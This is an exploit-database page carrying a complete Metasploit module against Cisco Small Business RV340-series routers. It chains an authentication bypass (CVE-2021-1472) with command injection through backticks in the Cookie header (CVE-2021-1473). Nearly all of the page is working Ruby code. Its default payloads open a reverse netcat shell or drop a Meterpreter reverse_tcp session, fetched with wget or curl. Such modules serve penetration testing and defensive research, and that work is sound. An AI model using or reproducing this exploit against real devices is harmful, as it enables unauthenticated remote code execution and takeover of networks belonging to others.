Lucene search
K

Cisco Small Business RV Series Authentication Bypass / Command Injection

🗓️ 01 Feb 2022 00:00:00Reported by jbaines-r7, Takeshi Shiomitsu, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 412 Views

Cisco RV Series Auth Bypass/Cmd Injectio

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco Small Business RV Series Authentication Bypass and Command Injection',  
'Description' => %q{  
This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473)  
in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the  
credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then  
the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request  
aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker  
to inject commands via the Cookie field.  
  
A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`.  
  
This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Takeshi Shiomitsu', # Vulnerability discovery  
'jbaines-r7' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-1472' ],  
[ 'CVE', '2021-1473' ],  
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx'],  
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/39' ],  
[ 'URL', 'https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/' ]  
],  
'DisclosureDate' => '2021-04-07',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
'BadChars' => '\''  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'Payload' => {  
'BadChars' => '\''  
},  
'CmdStagerFlavor' => [ 'wget', 'curl' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
# Sends the exploit. Authentication bypass is successful as long as the authorization field  
# is present (we add a valid base64 value as well). Command injection occurs in the cookie  
# field. Otherwise, various values need to be present in the /upload to satisfy the upload  
# configuration logic. Randomized values to the best of our ability.  
# @return res  
def send_exploit(cmd)  
options = Rex::Text.rand_text_alphanumeric(5..12)  
destination = Rex::Text.rand_text_alphanumeric(5..12)  
filepath = Rex::Text.rand_text_alphanumeric(5..12)  
filename = Rex::Text.rand_text_alphanumeric(5..12)  
filexml = Rex::Text.rand_text_alphanumeric(5..12)  
uploadname = Rex::Text.rand_text_alphanumeric(5..12)  
auth = Rex::Text.encode_base64("#{Rex::Text.rand_text_alphanumeric(5..12)}:#{Rex::Text.rand_text_alphanumeric(5..12)}")  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part(options, nil, nil, 'form-data; name="option"')  
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')  
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')  
multipart_form.add_part(filexml, 'application/xml', nil, 'form-data; name="file"; filename="config.xml"')  
multipart_form.add_part("#{filename}.xml", nil, nil, 'form-data; name="filename"')  
  
# this xml data required as is  
multipart_form.add_part('<input><fileType>configuration</fileType><source><location-url>' \  
'FILE://Configuration/config.xml</location-url></source><destination><config-type>' \  
'config-running</config-type></destination></input>', nil, nil, "form-data; name=\"#{uploadname}\"")  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/upload'),  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'headers' => {  
'Cookie' => "sessionid='`#{cmd}`'",  
'Authorization' => auth  
},  
'data' => multipart_form.to_s  
}, 10)  
end  
  
# The system doesn't have a good way to snag the version. This check attempts the exploit  
# with a command that returns immediately (id) and checks that the response looks like  
# how a vulnerable target would respond.  
def check  
res = send_exploit('id')  
return CheckCode::Unknown("Didn't receive a response from the target.") unless res  
return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200  
  
if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')  
return CheckCode::Appears('The device responded to exploitation with a 200 OK.')  
end  
  
CheckCode::Safe('The target did not respond with an expected payload.')  
end  
  
def execute_command(cmd, _opts = {})  
# parsing of the cookie field is thrown off by ;. Replacing with && works fine, but the only  
# downside is if the payload fails then it won't clean up after itself. Oddly, device's sh  
# required the spacing.  
cmd = cmd.gsub(/;/, ' && ')  
res = send_exploit(cmd)  
  
# unix command holds the connection open. Meterpreter should not. I think this logic is fine though.  
# If :unix_cmd gets a good check() value and then send_exploit returns with a nil response  
# then that is a clear sign that :unix_cmd was successful  
if target['Type'] != :unix_cmd  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200  
body_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json  
end  
  
print_good('Exploit successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 120)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation